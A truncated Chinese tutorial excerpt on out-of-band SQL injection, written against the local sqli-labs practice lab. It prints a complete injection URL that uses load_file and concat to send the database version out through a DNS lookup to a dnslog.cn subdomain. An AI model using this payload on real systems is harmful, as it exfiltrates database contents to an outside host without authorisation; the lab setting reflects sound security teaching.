sql 注入 - 帶外攻擊

帶外攻擊： http://localhost/sqli-labs-master/Less-8/?id=1' and load_file(concat("\\\\",version(),".fhig24.dnslog.cn\\1.txt")) -- - 帶外攻擊用到了load_file這個函數，利用load_file這個函數讀取網絡文件，其中訪問的 記錄會被記錄下來，其中就用到了dnslog.cn這

>>阅读原文<<